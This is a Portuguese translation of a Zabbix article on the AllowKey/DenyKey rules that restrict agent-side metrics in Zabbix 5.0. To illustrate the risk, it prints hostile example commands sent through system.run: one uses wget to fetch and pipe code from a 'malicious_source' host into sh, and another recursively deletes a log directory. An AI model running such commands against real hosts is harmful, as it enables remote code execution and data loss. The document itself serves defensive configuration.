🥇Suporte a listas negras e brancas para métricas no lado do agente no Zabbix 5.0

Suporte a listas negras e brancas para métricas do lado do agente

Tikhon Uskov, Engenheiro de Integração, Zabbix

Problemas de segurança de dados

O Zabbix 5.0 introduziu uma nova função que melhora a segurança em sistemas utilizando o Zabbix Agent e substitui o antigo parâmetro EnableRemoteCommands.

A melhoria da segurança dos sistemas que utilizam o agente é devida ao fato de que o agente pode executar um grande número de ações potencialmente perigosas.

O agente pode coletar praticamente qualquer informação, incluindo dados confidenciais ou potencialmente perigosos, de arquivos de configuração, arquivos de log, arquivos com senhas ou quaisquer outros arquivos.

Por exemplo, com a ferramenta zabbix_get, é possível acessar a lista de usuários, seus diretórios pessoais, arquivos de senhas etc.

Acesso aos dados com a ferramenta zabbix_get

NOTA. Os dados só podem ser obtidos se o agente tiver permissão para ler o arquivo correspondente. Mas, por exemplo, o arquivo /etc/passwd/ pode ser lido por todos os usuários.

O agente também pode executar comandos potencialmente perigosos. Por exemplo, a chave *system.run[]** permite executar quaisquer comandos remotos nos nós da rede, incluindo a execução de scripts da interface web do Zabbix, que também executam comandos do lado do agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

No Linux, o agente é executado por padrão sem privilégios de root, enquanto no Windows ele é executado como um serviço em nome do System e tem acesso irrestrito ao sistema de arquivos. Assim, se, após a instalação, as configurações do Zabbix Agent não forem alteradas, o agente terá acesso ao registro, ao sistema de arquivos e poderá executar consultas WMI.

Nas versões anteriores, o parâmetro EnableRemoteCommands=0 permitia apenas desativar métricas com a chave *system.run[]** e a execução de scripts a partir da interface web, mas não havia como restringir o acesso a arquivos específicos, permitir ou proibir chaves específicas que eram configuradas juntamente com o agente, ou restringir o uso de parâmetros individuais.

O uso do parâmetro EnableRemoteCommand nas versões anteriores do Zabbix

AllowKey/DenyKey

O Zabbix 5.0 ajuda a proteger contra esse acesso não autorizado por meio de listas brancas e negras para permitir e negar métricas do lado do agente.

No Zabbix 5.0, todas as chaves, incluindo *system.run[]**, estão permitidas, e foram adicionados dois novos parâmetros de configuração do agente:

AllowKey= — verificações permitidas;

DenyKey= — verificações proibidas;

onde — o padrão do nome da chave com parâmetros, que utiliza metacaracteres (*).

As chaves AllowKey e DenyKey permitem permitir ou proibir métricas individuais com base em um determinado padrão. Ao contrário de outros parâmetros de configuração, não há limite para a quantidade de parâmetros AllowKey/DenyKey. Isso permite definir claramente o que o agente pode fazer no sistema através da criação de uma árvore de verificações — chaves executáveis, onde a ordem de escrita desempenha um papel muito importante.

Sequência de regras

As regras são verificadas na ordem em que foram inseridas no arquivo de configuração. A verificação da chave de acordo com as regras ocorre até a primeira correspondência, e assim que a chave do elemento de dados corresponde ao padrão, é permitida ou proibida. Após isso, a verificação das regras é interrompida e as demais chaves são ignoradas.

Portanto, se um elemento corresponder a uma regra de permissão e a uma regra de proibição, o resultado dependerá de qual regra aparecer primeiro no arquivo de configuração.

2 regras diferentes com o mesmo padrão e chave vfs.file.size[/tmp/file]

Ordem de uso das chaves AllowKey/DenyKey:

regras exatas,
regras gerais,
regra de proibição.

Por exemplo, se você precisar de acesso a arquivos em uma pasta específica, primeiro é necessário permitir o acesso a eles e, em seguida, proibir tudo o que não se enquadra nas permissões estabelecidas. Se a regra de proibição for utilizada primeiro, o acesso à pasta será negado.

Sequência correta

Se for necessário permitir a execução de 2 utilitários através de *system.run[]**, e se a regra de proibição for indicada em primeiro lugar, os utilitários não serão executados, pois o primeiro padrão corresponderá sempre a qualquer chave, e as regras subsequentes serão ignoradas.

Sequência incorreta

Padrões

Regras principais

Padrão — expressão com caracteres curinga (wildcard). O metacaractere (*) corresponde a qualquer número de caracteres em uma determinada posição. Metacaracteres podem ser usados tanto no nome da chave quanto nos parâmetros. Por exemplo, pode-se definir rigidamente o primeiro parâmetro com texto, e o subsequente pode ser indicado como wildcard.

Os parâmetros devem ser colocados entre colchetes [].

system.run[* — incorreto
vfs.file*.txt] — incorreto
vfs.file.*[*] — correto

Exemplos de uso de wildcard.

No nome da chave e no parâmetro. Neste caso, a chave não corresponde a uma chave similar que não contém parámetro, pois no padrão indicamos que queremos obter um determinado sufixo do nome da chave e um determinado conjunto de parâmetros.
Se no padrão não forem utilizados colchetes, o padrão permite todas as chaves que não contenham parâmetros e proíbe todas as chaves com o parâmetro indicado.
Se a chave estiver completamente escrita e os parâmetros estiverem indicados como wildcard, ela corresponderá a qualquer chave similar com quaisquer parâmetros e não corresponderá a chave sem colchetes, ou seja, será permitida ou proibida.

Regras para preenchimento de parâmetros.

Se a utilização de uma chave com parâmetros estiver implícita, os parâmetros devem ser especificados no arquivo de configuração. Os parâmetros devem ser indicados como metacaracteres. É necessário ter cuidado ao proibir o acesso a qualquer arquivo e considerar que tipo de informação a métrica poderá fornecer em várias opções de escrita — com parâmetros e sem eles.

Particularidades na escrita de chaves com parâmetros

Se a chave for indicada com parâmetros, mas os parâmetros forem opcionais e indicados como metacaractere, a chave sem parâmetros será permitida. Por exemplo, se você deseja proibir a obtenção de informações sobre a carga da CPU e indica que a chave system.cpu.load[*] deve ser proibida, não se esqueça que a chave sem parâmetros retornará o valor médio da carga.

Regras para preenchimento de parâmetros

Notas

Configuração

Algumas regras não podem ser alteradas pelo usuário, por exemplo, regras de descoberta (discovery) ou autorregistro de agentes. As regras AllowKey/DenyKey não afetam os seguintes parâmetros:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem

NOTA. Se o administrador proíbe alguma chave, ao fazer uma solicitação, o Zabbix não fornece informações sobre o motivo pelo qual a métrica ou chave cai na categoria ‘NOTSUPPORTED‘. Nos arquivos de log do agente, informações sobre a proibição de execução de comandos remotos também não são exibidas. Isso é feito por questões de segurança, mas pode complicar a depuração se as métricas caírem na categoria não suportada por algum motivo..

Não se deve contar com uma ordem específica ao conectar arquivos de configuração externos (por exemplo, em ordem alfabética).

Utilitários de linha de comando

Após a configuração das regras, é necessário garantir que tudo esteja corretamente definido.

Você pode usar uma das três opções:

Adicionar a métrica no Zabbix.
Testar usando zabbix_agentd. O agente Zabbix com a opção -print (-p) mostra todas as chaves (que são permitidas por padrão), exceto aquelas que não são permitidas pela configuração. Já com a opção -test (-t) para uma chave proibida retornará ‘Chave de item não suportada‘.
Testar usando zabbix_get. A ferramenta zabbix_get com a opção -k retornará ‘ZBX_NOTSUPPORTED: Métrica desconhecida‘.

Permitir ou negar

Você pode negar o acesso ao arquivo e verificar, por exemplo, com o utilitário zabbix_get, se o acesso ao arquivo estiver negado.

NOTA. As aspas no parâmetro são ignoradas.

Neste caso, o acesso a tal arquivo pode ser permitido por outro caminho. Por exemplo, se ele for referenciado por um symlink.

Recomenda-se verificar diferentes variantes de aplicação das regras definidas, além de considerar maneiras de contornar as proibições.

Perguntas e respostas

Pergunta. Por que uma estrutura de padrão tão complexa com sua própria linguagem foi escolhida para a descrição das regras, permissões e proibições? Por que não foi possível usar, por exemplo, expressões regulares, como faz o Zabbix?

Resposta. Esta é uma questão de desempenho de regex, pois o agente, geralmente, é único e verifica uma enorme quantidade de métricas. Regex é uma operação bastante pesada, e não podemos verificar milhares de métricas dessa forma. Wildcards são uma solução universal, amplamente aplicada e simples..

Pergunta. Os arquivos Include não são carregados em ordem alfabética?

Resposta. Até onde sei, prever a sequência de aplicação das regras, se você distribuir as regras em arquivos diferentes, é praticamente impossível. Recomendo agrupar todas as regras AllowKey/DenyKey em um único arquivo Include, pois interagem entre si, e incluir este arquivo.

Pergunta. No Zabbix 5.0 a opção ‘EnableRemoteCommands=‘ está ausente no arquivo de configuração, e apenas AllowKey/DenyKey estão disponíveis?

Resposta. Sim, isso mesmo..

Obrigado pela atenção!

Fonte: habr.com